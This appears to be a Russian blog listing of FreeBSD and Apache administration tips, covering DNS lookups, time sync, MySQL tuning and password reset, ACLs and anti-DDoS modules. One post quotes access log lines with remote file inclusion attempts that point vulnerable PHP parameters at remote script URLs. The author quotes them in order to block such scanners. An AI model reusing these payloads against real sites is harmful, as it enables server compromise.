FreeBSD Tips / Apache(HTTPD) / LAMP

/ Mine блог / Сервер (FreeBSD) / Проверка записей днс сервера	Добавлено : Пт Мар 12, 2010 1:24 Автор : surg30n Просмотров : 333 » Читать дальше » Комментировать »
Проверки могут быть осуществлены командами host, dig, nslookup. host -n -t mx skillz.ru [8.8.8.8] # узнаем mx запись # последним параметромможно указать через какой сервер имен производить запрос # skillz.ru mail is handled by 0 skillz.ru. dig @8.8.8.8 mx skillz.ru +short # запрос mx записи в коротком формате через сервер 8.8.8.8 # 0 skillz.ru. dig +nocmd skillz.ru mx +noall +answer # узнаем mx запись # skillz.ru. 14199 IN MX 0 skillz.ru. dig skillz.ru mx +short # 0 skillz.ru.
/ Mine блог / Сервер (FreeBSD) / Установки и синхронизация времени freebsd	Добавлено : Чт Фев 11, 2010 21:50 Автор : surg30n Просмотров : 529 » Читать дальше » Комментировать »
Для установки даты/времени используем команды `#год месяц день часы минуты секунды date yymmddhhmmss #установка времени без модификации даты часы:минуты date hhmm #пример date 0501121627 date 1627` Чтобы будильник не отставал, нужно локальное время синхронизировать с удаленным эталонным сервером времени. Можно сделать это вручную `/usr/sbin/ntpdate -u ntp.psn.ru`
/ Mine блог / Сервер (FreeBSD) / this version of PCRE is not compiled with PCRE_UTF8 support	Добавлено : Пн Авг 31, 2009 19:58 Автор : surg30n Просмотров : 693 » Читать дальше » Комментировать »
Я вот офигеваю от ошибки на новоиспеченном сервере: `var_dump(preg_match('~строка~Uu', 'test', $m)); >> Compilation failed: this version of PCRE is not compiled with PCRE_UTF8 support at offset 0` Собиралось как обычно - из портов/пакаджей. Оказалось по-русски похуистично по-умолчанию не включена поддержка юникода в бандлед сборке pcre. Конфигов в новом апаче-пхп для подключения внешней либы нет. Для исправления ситуации придется пересобрать php.
/ Mine блог / Сервер (FreeBSD) / Перезапуск сетевых сервисов из ssh (удаленной консоли)	Добавлено : Ср Июл 01, 2009 14:07 Автор : j4ck Просмотров : 1363 » Читать дальше » Комментировать »
Необходимо на удаленной машине сконфигурить например: - новые алиасы для сетевой - изменить роуты Для того, чтобы изменения вступили в силу без перезагрузки или потери соединения ssh сессии, поступаем следующим образом.
/ Mine блог / Сервер (FreeBSD) / Авторизация SSH по ключу	Добавлено : Пн Апр 06, 2009 20:26 Автор : surg30n Просмотров : 2000 » Читать дальше » Комментировать »
При создании ключа для пользователя столкнулся с проблемой - полученный ключ не подходил при коннекте из putty. Покопавшись в старых записках, вспомнил, что путти хитер и не кушает raw-ключи от ssh-keygen. Итак...
/ Mine блог / Сервер (FreeBSD) / Тюнинг tcp/ip стека freebsd 7	Добавлено : Вс Дек 07, 2008 21:43 Автор : surg30n Просмотров : 4172 » Читать дальше » Комментарии (7) »
Настраиваем freebsd для повышения пропуской способности сети. Включаем поллинг в /etc/rc.conf `ifconfig_rl0="inet 10.99.0.99 netmask 255.255.0.0 polling mtu 8232"` ...
/ Mine блог / Сервер (FreeBSD) / Консольные torrent клиенты	Добавлено : Пт Окт 31, 2008 3:05 Автор : surg30n Просмотров : 6341 » Читать дальше » Комментарии (2) »
Рассмотрим ctorrent и rtorrent. Оба доступны из портов в /usr/ports/net-p2p. 1) ctorrent Запускаем ctorrent -s "./путь" "torrent" Начнет закачивать торрент в папку "./путь". 2) rtorrent Более продвинутый клиент. Использует ncurses - а это значит имеет псевдо оконный интерфейс. Запускаем клиент, попадаем в окно, в котором нужно что то делать :) ^q - Выход up, down, left, right ^P, ^N, ^B, ^F - Выбор опций, экранов a, s, d - ускорить закачку на 1/5/50 KB. z, x, c - уменьшить скорость закачки 1/5/50 KB. Верхний регистр (A, S, D, Z, X, C) - делают тоже самое для аплоада 1 - 7 - сменить вид ^S - начать загрузку ^D - остановить ^O - изменить папку назначения +, - - приоритет загрузки backspace - добавить торрент для закачки l - лог U - удалить торрент u - показать информацию по загрузке o - показать трекеры. пробелом выбираем p - информация о пире t, T - запрос трекера k - дисконнект пира
/ Mine блог / Сервер (FreeBSD) / Apache 2.2 mod_security	Добавлено : Вт Окт 28, 2008 19:17 Автор : j4ck Просмотров : 1747 » Читать дальше » Комментировать »
В продолжении поста про защиту сервера - модуль фильтрации запросов mod_security для apache 2.
/ Mine блог / Сервер (FreeBSD) / Стриминг видео mp4(h264), модуль Lighttpd mod_h264_streaming	Добавлено : Вт Окт 21, 2008 19:29 Автор : surg30n Просмотров : 2343 » Читать дальше » Комментировать »
Имеем поддомен с выделеным под него ip адресом...
/ Mine блог / Сервер (FreeBSD) / Скачивам веб страницу с выполненым javascript скриптом	Добавлено : Вт Окт 21, 2008 13:44 Автор : surg30n Просмотров : 1221 » Читать дальше » Комментарии (1) »
Редирект вывода браузера в файл, консоль? легко!
/ Mine блог / Сервер (FreeBSD) / Борьба со сканнерами-спаммерами	Добавлено : Пн Окт 06, 2008 20:26 Автор : surg30n Просмотров : 1372 » Читать дальше » Комментировать »
Последнее время в логах сайта огромное количество подобных запросов. Избавляемся от супостатов подручными средствами. ... 69.73.189.182 - - [05/Oct/2008:03:31:29 +0400] "GET /page/5/errors.php?error=http://www.ezy-hosts.com//temp/errors??? HTTP/1.1" 200 626 "-" "libwww-perl/5.79" 72.249.95.130 - - [05/Oct/2008:03:32:15 +0400] "GET /galleria.html.php?mosConfig_absolute_path=http://ctg.su/files/bodo.txt??? HTTP/1.1" 200 630 "-" "libwww-perl/5.805" 62.44.82.234 - - [05/Oct/2008:03:26:25 +0400] "GET /errors.php?error=http://www.stichtingopvangratten.nl/cache/response.txt??? HTTP/1.1" 200 639 "-" "libwww-perl/5.803" 61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 620 "-" "libwww-perl/5.79" 61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /bans/page/6/errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 632 "-" "libwww-perl/5.79" ...
/ Mine блог / Сервер (FreeBSD) / Mod_expires И mod_deflate	Добавлено : Сб Авг 30, 2008 21:05 Автор : surg30n Просмотров : 1342 » Читать дальше » Комментировать »
Кэшируем изображения и сжимаем странички апачем. `ExpiresActive On #day ExpiresByType text/css "access plus 7 day" ExpiresByType text/javascript "access plus 7 day" #month ExpiresByType image/gif A2592000 ExpiresByType image/jpg A2592000 ExpiresByType image/png A2592000 DeflateBufferSize 16384 DeflateCompressionLevel 5 AddOutputFilterByType DEFLATE text/html text/plain text/xml text/javascript text/css text/xml application/xhtml+xml`
/ Mine блог / Сервер (FreeBSD) / FreeBSD ACLs	Добавлено : Вт Авг 05, 2008 23:23 Автор : surg30n Просмотров : 1693 » Читать дальше » Комментарии (2) »
Ситуация такая: есть папка /www (web:www 751) Необходимо предоставить фтп доступ к папке еще несокльким пользователям из группы seo_users Включаем аклы, собираем профтпд с поддержкой аклов. Собственно устанавливаем сами аклы на файлы: `cd /www find . -type f -exec setfacl -m g:seo_users:rw-,mask::rwx {} \; find . -type d -exec setfacl -d -m u::rwx,g::rwx,o::---,mask::rw-,g:seo_users:rwx {} \; find . -type d -exec setfacl -m g:seo_users:rw- {} \;` А вопрос вот в чем: Когда права для группы стоят rw, то аклы работают, если убрать -w то effective mask становится запрещающей и доступа у пользователя к файлу уже нет. Возможно ли как то отключить привязку права группы <--> маска? Почему chmod группы меняет права доступов acl?
/ Mine блог / Сервер (FreeBSD) / Сброс пароля root в MySQL, Postgresql, FreeBSD	Добавлено : Чт Июл 24, 2008 19:06 Автор : surg30n Просмотров : 3371 » Читать дальше » Комментарии (2) »
Добавляем в начале файла /usr/local/etc/rc.d/mysql-server строчку: mysql_args="--init-file=/root/reset" Далее, создаем файл /root/reset с содержимым `UPDATE mysql.user SET Password=PASSWORD('password') WHERE User='root'; GRANT ALL PRIVILEGES ON . TO root@localhost IDENTIFIED BY PASSWORD PASSWORD('password') WITH GRANT OPTION; FLUSH PRIVILEGES;` Рестартим mysql - /usr/local/etc/rc.d/mysql-server restart Mysql выполнит указанный скрипт при запуске и установит новый пароль для рута. Не забудте закомментить добавленную строку.
/ Mine блог / Сервер (FreeBSD) / Полезные штуки (Unix noob stuff)	Добавлено : Чт Июл 24, 2008 19:01 Автор : surg30n Просмотров : 1792 » Читать дальше » Комментировать »
`#порезать split -b 128m <filename> #склеить куски cat xa* > <filename>` И другой хлам, который я постоянно забываю...
/ Mine блог / Сервер (FreeBSD) / Mysql в TOPе [WordPress Issue]	Добавлено : Вт Июл 15, 2008 0:35 Автор : surg30n Просмотров : 1278 » Читать дальше » Комментировать »
`PID USERNAME PRI NICE SIZE RES STATE C TIME WCPU CPU COMMAND 56099 mysql 20 0 345M 45492K kserel 1 986:41 112.55% 112.55% mysqld` А как это? )
/ Mine блог / Сервер (FreeBSD) / Apache2 anti ddos stuff	Добавлено : Сб Май 31, 2008 16:52 Автор : surg30n Просмотров : 1968 » Читать дальше »
mod_evasive - Простой метод защиты веб сервера от ddos атак.
/ Mine блог / Сервер (FreeBSD) / Обновление портов FreeBSD	Добавлено : Ср Май 28, 2008 12:35 Автор : surg30n Просмотров : 2420 » Читать дальше » Комментарии (3) »
Ставим cvsup (утилита обновления портов) `# cd /usr/ports/net/cvsup-without-gui # make install clean` ...
/ Mine блог / Сервер (FreeBSD) / Мониторинг/тюнинг MySQL	Добавлено : Ср Май 28, 2008 2:16 Автор : surg30n Просмотров : 3236 » Читать дальше » Комментарии (3) »
Логируем сложные запросы. Утилита MyTop. Утилита mysqlard. Утилита mysqlreport.
/ Mine блог / Сервер (FreeBSD) / Проброс порта с мира в локальную сеть	Добавлено : Чт Фев 14, 2008 11:59 Автор : surg30n Просмотров : 4775 » Читать дальше » Комментарии (1) »
Необходимо пробрасывать порт из вне на машину в локальной сети. Имеем natd и ipfw.

На страницу: 1, 2 След.

Главная | Форум | Файлы | Услуги | Каталог